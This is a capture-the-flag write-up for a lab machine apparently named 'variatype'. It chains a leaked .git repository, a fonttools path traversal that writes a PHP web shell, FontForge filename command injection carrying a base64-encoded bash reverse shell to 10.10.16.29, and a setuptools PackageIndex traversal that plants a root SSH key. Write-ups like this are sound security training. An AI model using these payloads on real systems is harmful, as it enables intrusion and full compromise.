450c60b52af168cdfa8d7f4e7b6bfb29.png

Port enumeration

nmap only found 2 open ports, ssh and http. a72a32998accb536e21a2ac98ae86119.png

Web enumeration

Subdomain enumeration

Using ffuf I found a subdomain, portal. 59c7960ed78979c4de51506a949c3834.png What looks like an admin panel. 045ee04d5e1cd668a37215411c08dbef.png Doesn't look like any type of public software. Using ffuf in this subdomain, I found what looks like a .git directory. 47ec9d6ee24b01b57957d5437d7d50e2.png Now, I take this repo using git-dumper.

./gitdumper.sh http://portal.variatype.htb/.git/ dump

fb3552c1bc4d6cd6b7aeec88d0ade5c8.png I can see now who this .git have a php file. 565237ce395415622ce882d05cb07593.png I can see 2 commits here. 0463e69fe67e90b470d60326aac2383e.png And, what looks like harcoded credentials. 76d8ec793f27d3313d1ef28f9bab9ab8.png With this creds, im able to access the credentials. 6dff7f01d718efcb0c808a95892b1625.png Now, after try a lot of options, i decide to be especulative, and i decide to try CVE-2025-66034, the only vulnerability who could allow me to exploit something in this scenary.

Exploiting CVE-2025-66034

This cve is a Phath traversal vulnerability in python fonttools library, so, with that, I will need to exploit a write path traversal to allow me to write a php shell in the files directory.

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo shell_exec($_GET['cmd']);?>]]]]><![CDATA[>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
    <sources>
        <source filename="Bold.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>
        <source filename="Bold.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>
      <variable-fonts>
            <variable-font name="MaliciousFont" filename="../../../../var/www/portal.variatype.htb/public/files/shell.php">
                <axis-subsets>
                    <axis-subset name="Weight"/>
                </axis-subsets>
            </variable-font>
        </variable-fonts>
    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location><dimension name="Weight" xvalue="100"/></location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>
</designspace>

0886af3b9316bcd7974f51057c547eb4.png 9de56ea8eaf68c231c0237c900f6cad0.png With this, now, I can execute a reverse shell. 0b666b0b051cfbaabd4a2cc3095dbc40.png

Local enumeration

85d54ff682a8a50c4e96bcb9bd0ab62c.png I found a FontForge instance installed in the machine. 4fbcc17e9480ae7af4dd5a3d2b5c7c2c.png And its version is vulnerable to CVE-2024-25082. 1c95223ceee611b5174d5810b9eed9bd.png I comfirm the vulnerability with the next poc.

touch archive.zip\;id\;.zip
/usr/local/src/fontforge/build/bin/fontforge -lang=ff -c 'Open($1);' archive.zip\;id\;.zip /tmp/zip.ttf

612b7452a1b92160d47d93178f4f3466.png I also founs an interesting script. 8041ec17bfdd3f62a2e6afa117bf3773.png This script, uses the vulnerable version of FontForge. d54f027dc9c92b516e90e066b01104a4.png To test this vuln, I create a poc file and move it to the web files dir, where this script search for zip files. Also, if we analize the code, we will see who it will no acept any type of empty file. c304d8921afea17fdff37af5757dff88.png SO, we will need to create a zip file with something and a malicious name.

zip '$(echo dG91Y2ggL3RtcC9wcnVlYmE= | base64 -d | bash).zip' /home/ignacio/Descargas/MyVariableFont_fFY0zNg-Az8.ttf

Here, i find another problem, this script have a heavy character protection. 43b258c1b790808d57037867608aa5c0.png So, the last exploit will not work, so, i tried another focus, due to the app logic, this filter should only be aplied 1 time, so, if the zip unzips a normalname.zip with a maliciousname.ttl inside, it should work.

zip 'exploit.zip' \$\(echo\ dG91Y2ggL3RtcC9wcnVlYmE=\ \|\ base64\ -d\ \|\ bash\).ttl

And it works, so, now, I can execute a reverse shell. fbae3f264b7c24555c9e6c60f5d56618.png

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.29/9001 0>&1'" | base64

cp /home/ignacio/Descargas/MyVariableFont_fFY0zNg-Az8.ttf '$(echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yOS85MDAxIDA+JjEn | base64 -d | bash).ttl'

zip exploit.zip '$(echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yOS85MDAxIDA+JjEn | base64 -d | bash).ttl'

After some time, we will obtain the user steve shell in nc. 21d3fcb2343394153b3d256c4cdf9627.png

Privilege escalation

Using sudo -l i can see who steve can use a python script as root. 47a03a8a09bab5816f4b644b750ca023.png

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

Loking into the script, I found who the library PackageIndex is vulnerable to CVE-2025-47273. 09ba87f6fce6186f64572cff5ba5fd38.png 77fe9269cd41da5f5abafd0c06330c0b.png Now, from here, I got some options, the best one is generate a ssh key and write it in /root/.ssh/authorized_keys

ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

To provide the key, I need an http server who ignores the route and alwais brings a 200 with the key, for that I used the next http server.

from http.server import HTTPServer, BaseHTTPRequestHandler
import sys

class MinimalHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open("id_rsa.pub", "rb") as f:
            content = f.read()
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(content)
        print(f"[*] Served payload to {self.client_address[0]}")

port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
print(f"[+] Server listening on port {port}...")
HTTPServer(('0.0.0.0', port), MinimalHandler).serve_forever()

Now, I execute the payload.

sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.16.29:80/%2froot%2f.ssh%2fauthorized_keys

And I can connect as root with ssh. 8d7b62f7dc410aadddde181136eeaf32.png 450c60b52af168cdfa8d7f4e7b6bfb29.png